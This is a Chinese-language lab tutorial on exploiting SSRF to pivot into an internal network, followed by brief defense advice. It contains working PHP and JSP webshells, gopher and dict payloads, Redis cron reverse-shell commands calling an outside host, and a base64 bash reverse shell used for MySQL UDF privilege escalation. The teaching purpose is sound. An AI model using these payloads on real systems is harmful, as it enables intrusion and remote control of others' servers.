手把手带你用 SSRF 打穿内网
字数 1698 2025-08-05 11:39:33

SSRF漏洞利用与内网渗透实战指南

一、SSRF漏洞基础

SSRF(Server-Side Request Forgery)服务端请求伪造,是一种由攻击者构造请求,由服务端发起请求的安全漏洞。能够对外发起网络请求的地方,就可能存在SSRF漏洞。

1.1 漏洞检测方法

  1. 外网URL测试:尝试请求外网资源如http://www.baidu.com/robots.txt
  2. 内网URL测试:尝试请求内网地址如http://127.0.0.1
  3. 协议测试:尝试使用不同协议(file://, dict://, gopher://等)

二、靶场环境拓扑

公网访问点: x.x.x.x:8080 (映射内网172.72.23.21:80)
内网资产:
- 172.72.23.21:80 (存在SSRF漏洞)
- 172.72.23.22:80 (代码注入)
- 172.72.23.23:80,3306 (SQL注入)
- 172.72.23.24:80 (命令执行)
- 172.72.23.25:80 (XXE)
- 172.72.23.26:8080 (Tomcat CVE-2017-12615)
- 172.72.23.27:6379 (Redis未授权)
- 172.72.23.28:6379 (Redis有认证)
- 172.72.23.29:3306 (MySQL未授权)

三、SSRF漏洞利用技术

3.1 信息收集

3.1.1 读取本地文件

file:///etc/passwd
file:///etc/hosts
file:///proc/net/arp
file:///etc/network/interfaces

3.1.2 内网端口扫描

使用dict协议探测内网端口:

dict://172.72.23.22:80
dict://172.72.23.22:3306

使用BurpSuite批量扫描:

  1. 设置Intruder模块
  2. 使用迭代器模式爆破IP和端口
  3. 通过响应判断端口开放情况

3.2 协议利用

3.2.1 HTTP协议

  • 用于访问内网Web应用
  • 可配合目录扫描工具发现隐藏路径

3.2.2 DICT协议

  • 主要用于端口扫描
  • 可攻击未授权的Redis服务

3.2.3 GOPHER协议

  • 最强大的SSRF协议
  • 可构造任意TCP数据流
  • 用于攻击需要复杂交互的服务(如认证的Redis、MySQL等)

四、内网渗透实战

4.1 代码注入(172.72.23.22)

目标特征

  • 存在shell.php:<?php system($_GET['cmd']);?>

攻击方法

http://172.72.23.22/shell.php?cmd=id

SSRF利用

http://x.x.x.x:8080/vuln.php?url=http://172.72.23.22/shell.php?cmd=cat%20/etc/passwd

注意

  • 空格需要编码为%20(浏览器)或%2520(BurpSuite)

4.2 SQL注入(172.72.23.23)

目标特征

  • 存在联合查询注入漏洞
  • MySQL可写shell

攻击步骤

  1. 通过联合查询获取数据
  2. 写入webshell:
SELECT 0x3C3F706870206576616C28245F4745545B315D293B203F3E INTO DUMPFILE '/var/www/html/shell.php'

SSRF利用

gopher://172.72.23.23:3306/_%a2%00%00%01%85%a2%3f%00... (编码后的SQL语句)

4.3 命令执行(172.72.23.24)

目标特征

  • POST型命令执行
  • 参数:ip=127.0.0.1

攻击方法

  1. 抓取正常POST请求
  2. 删除Accept-Encoding
  3. 两次URL编码整个POST数据
  4. 构造gopher请求

示例

gopher://172.72.23.24:80/_POST%20%2Fcmd.php%20HTTP%2F1.1%0D%0AHost%3A%20172.72.23.24%0D%0A... (编码后的POST数据)

4.4 XXE漏洞(172.72.23.25)

目标特征

  • POST型XXE
  • 可读取本地文件

攻击方法

  1. 构造XXE Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>
  1. 两次URL编码整个POST数据
  2. 构造gopher请求

4.5 Tomcat CVE-2017-12615(172.72.23.26)

漏洞利用

  1. 准备JSP webshell:
<%
    String cmd = request.getParameter("cmd");
    if(cmd != null) {
        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1) {
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
  1. 通过PUT方法上传:
PUT /shell.jsp HTTP/1.1
Host: 172.72.23.26:8080
Content-Length: 123

<jsp代码>
  1. SSRF利用时需二次URL编码

4.6 Redis未授权访问(172.72.23.27)

攻击步骤

  1. 清空Redis数据:
dict://172.72.23.27:6379/flushall
  1. 设置保存路径为定时任务目录:
dict://172.72.23.27:6379/config set dir /var/spool/cron/
  1. 设置保存文件名:
dict://172.72.23.27:6379/config set dbfilename root
  1. 写入反弹shell命令:
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"
  1. 保存:
dict://172.72.23.27:6379/save

注意

  • &需要编码为%26
  • 反弹shell命令中的>也需要编码

4.7 Redis有认证(172.72.23.28)

攻击前提

  1. 通过LFI漏洞获取Redis密码:
http://172.72.23.28/index.php?file=/etc/redis.conf
  1. 查找requirepass字段获取密码

攻击步骤

  1. 使用socat抓取Redis交互流量:
socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379
  1. 使用redis-cli连接并操作:
redis-cli -h 127.0.0.1 -p 4444
auth <password>
config set dir /var/www/html
config set dbfilename shell.php
set x "\n<?php eval($_GET[1]);?>\n"
save
  1. 将抓取的TCP流转换为gopher协议格式

4.8 MySQL未授权访问(172.72.23.29)

攻击步骤

  1. 获取插件目录
show variables like '%plugin%';
  1. 写入UDF动态链接库
SELECT 0x7f454c4602010100000000000000... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
  1. 创建自定义函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
  1. 执行系统命令
select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMi8yMzMzIDA+JjE=|base64 -d|bash -i');

SSRF利用

  1. 使用tcpdump抓取MySQL交互流量:
tcpdump -i lo port 3306 -w mysql.pcapng
  1. 将原始TCP流转换为gopher协议格式

五、防御建议

  1. 输入验证

    • 过滤特殊协议(file://, dict://, gopher://等)
    • 限制访问内网IP
  2. 输出处理

    • 禁止返回完整响应内容
    • 对错误信息进行模糊处理
  3. 网络配置

    • 关键服务设置认证
    • 最小化网络访问权限
  4. 服务加固

    • Redis设置密码并限制绑定IP
    • MySQL移除不必要的函数权限

六、参考资料

  1. Gopherus - SSRF工具
  2. SSRF靶场源码
  3. MySQL UDF提权辅助
SSRF漏洞利用与内网渗透实战指南 一、SSRF漏洞基础 SSRF(Server-Side Request Forgery)服务端请求伪造,是一种由攻击者构造请求,由服务端发起请求的安全漏洞。能够对外发起网络请求的地方,就可能存在SSRF漏洞。 1.1 漏洞检测方法 外网URL测试 :尝试请求外网资源如 http://www.baidu.com/robots.txt 内网URL测试 :尝试请求内网地址如 http://127.0.0.1 协议测试 :尝试使用不同协议(file://, dict://, gopher://等) 二、靶场环境拓扑 三、SSRF漏洞利用技术 3.1 信息收集 3.1.1 读取本地文件 3.1.2 内网端口扫描 使用dict协议探测内网端口: 使用BurpSuite批量扫描: 设置Intruder模块 使用迭代器模式爆破IP和端口 通过响应判断端口开放情况 3.2 协议利用 3.2.1 HTTP协议 用于访问内网Web应用 可配合目录扫描工具发现隐藏路径 3.2.2 DICT协议 主要用于端口扫描 可攻击未授权的Redis服务 3.2.3 GOPHER协议 最强大的SSRF协议 可构造任意TCP数据流 用于攻击需要复杂交互的服务(如认证的Redis、MySQL等) 四、内网渗透实战 4.1 代码注入(172.72.23.22) 目标特征 : 存在shell.php: <?php system($_GET['cmd']);?> 攻击方法 : SSRF利用 : 注意 : 空格需要编码为%20(浏览器)或%2520(BurpSuite) 4.2 SQL注入(172.72.23.23) 目标特征 : 存在联合查询注入漏洞 MySQL可写shell 攻击步骤 : 通过联合查询获取数据 写入webshell: SSRF利用 : 4.3 命令执行(172.72.23.24) 目标特征 : POST型命令执行 参数: ip=127.0.0.1 攻击方法 : 抓取正常POST请求 删除 Accept-Encoding 头 两次URL编码整个POST数据 构造gopher请求 示例 : 4.4 XXE漏洞(172.72.23.25) 目标特征 : POST型XXE 可读取本地文件 攻击方法 : 构造XXE Payload: 两次URL编码整个POST数据 构造gopher请求 4.5 Tomcat CVE-2017-12615(172.72.23.26) 漏洞利用 : 准备JSP webshell: 通过PUT方法上传: SSRF利用时需二次URL编码 4.6 Redis未授权访问(172.72.23.27) 攻击步骤 : 清空Redis数据: 设置保存路径为定时任务目录: 设置保存文件名: 写入反弹shell命令: 保存: 注意 : & 需要编码为 %26 反弹shell命令中的 > 也需要编码 4.7 Redis有认证(172.72.23.28) 攻击前提 : 通过LFI漏洞获取Redis密码: 查找 requirepass 字段获取密码 攻击步骤 : 使用socat抓取Redis交互流量: 使用redis-cli连接并操作: 将抓取的TCP流转换为gopher协议格式 4.8 MySQL未授权访问(172.72.23.29) 攻击步骤 : 获取插件目录 : 写入UDF动态链接库 : 创建自定义函数 : 执行系统命令 : SSRF利用 : 使用tcpdump抓取MySQL交互流量: 将原始TCP流转换为gopher协议格式 五、防御建议 输入验证 : 过滤特殊协议(file://, dict://, gopher://等) 限制访问内网IP 输出处理 : 禁止返回完整响应内容 对错误信息进行模糊处理 网络配置 : 关键服务设置认证 最小化网络访问权限 服务加固 : Redis设置密码并限制绑定IP MySQL移除不必要的函数权限 六、参考资料 Gopherus - SSRF工具 SSRF靶场源码 MySQL UDF提权辅助